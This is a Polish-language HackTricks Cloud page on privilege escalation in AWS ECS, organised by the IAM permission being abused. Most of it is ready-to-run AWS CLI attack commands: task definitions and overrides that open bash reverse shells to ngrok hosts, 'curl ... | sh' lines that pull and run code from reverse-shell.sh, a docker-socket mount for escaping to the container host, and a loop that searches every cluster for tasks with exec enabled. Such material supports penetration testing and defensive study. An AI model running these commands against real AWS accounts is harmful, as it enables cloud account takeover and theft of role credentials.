Polish - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

AWS - ECS Privesc

Support HackTricks

ECS

Więcej informacji o ECS w:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition i ecs:RunTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalny wpływ: Bezpośrednie privesc do innej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go. Jednak w tym przypadku potrzebna jest instancja kontenera do uruchomienia złośliwej definicji zadania.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Podobnie jak w poprzednim przykładzie, atakujący nadużywający uprawnień iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService lub ecs:CreateService w ECS może wygenerować nową definicję zadania z złośliwym kontenerem, który kradnie dane uwierzytelniające metadanych i uruchomić go, tworząc nową usługę z co najmniej 1 uruchomionym zadaniem.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

W rzeczywistości, tylko z tymi uprawnieniami możliwe jest użycie nadpisania do wykonania dowolnych poleceń w kontenerze z dowolną rolą za pomocą czegoś takiego:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potencjalny wpływ: Bezpośrednie privesc do dowolnej roli ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ten scenariusz jest podobny do poprzednich, ale bez uprawnienia iam:PassRole. To wciąż jest interesujące, ponieważ jeśli możesz uruchomić dowolny kontener, nawet jeśli nie ma roli, możesz uruchomić kontener z uprawnieniami, aby uciec do węzła i ukraść rolę IAM EC2 oraz inne role kontenerów ECS działające na węźle. Możesz nawet zmusić inne zadania do uruchomienia wewnątrz instancji EC2, którą przejmujesz, aby ukraść ich dane uwierzytelniające (jak omówiono w sekcji Privesc do węzła).

Ten atak jest możliwy tylko wtedy, gdy klaster ECS używa instancji EC2, a nie Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Napastnik z ecs:ExecuteCommand, ecs:DescribeTasks może wykonać polecenia wewnątrz działającego kontenera i wyeksportować przypisaną do niego rolę IAM (potrzebujesz uprawnień do opisu, ponieważ jest to konieczne do uruchomienia aws ecs execute-command). Jednakże, aby to zrobić, instancja kontenera musi mieć uruchomionego agenta ExecuteCommand (co domyślnie nie jest).

Dlatego napastnik może spróbować:

  • Spróbować uruchomić polecenie w każdym działającym kontenerze

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

  • Jeśli ma ecs:RunTask, uruchom zadanie za pomocą aws ecs run-task --enable-execute-command [...]

  • Jeśli ma ecs:StartTask, uruchom zadanie za pomocą aws ecs start-task --enable-execute-command [...]

  • Jeśli ma ecs:CreateService, utwórz usługę za pomocą aws ecs create-service --enable-execute-command [...]

  • Jeśli ma ecs:UpdateService, zaktualizuj usługę za pomocą aws ecs update-service --enable-execute-command [...]

Możesz znaleźć przykłady tych opcji w poprzednich sekcjach privesc ECS.

Potencjalny wpływ: Privesc do innej roli przypisanej do kontenerów.

ssm:StartSession

Sprawdź na stronie privesc ssm, jak możesz nadużyć tej uprawnienia, aby privesc do ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Sprawdź na stronie privesc ec2, jak możesz nadużyć tych uprawnień, aby privesc do ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Czy możliwe jest zarejestrowanie instancji z innego konta AWS, aby zadania były uruchamiane na maszynach kontrolowanych przez atakującego??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Przetestuj to

Atakujący z uprawnieniami ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet i ecs:DescribeTaskSets może utworzyć złośliwy zestaw zadań dla istniejącej usługi ECS i zaktualizować główny zestaw zadań. To pozwala atakującemu na wykonywanie dowolnego kodu w ramach usługi.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potencjalny wpływ: Wykonanie dowolnego kodu w dotkniętej usłudze, co może wpłynąć na jej funkcjonalność lub wyciek wrażliwych danych.

Odniesienia

Wsparcie HackTricks
PreviousAWS - ECR PrivescNextAWS - EFS Privesc

Last updated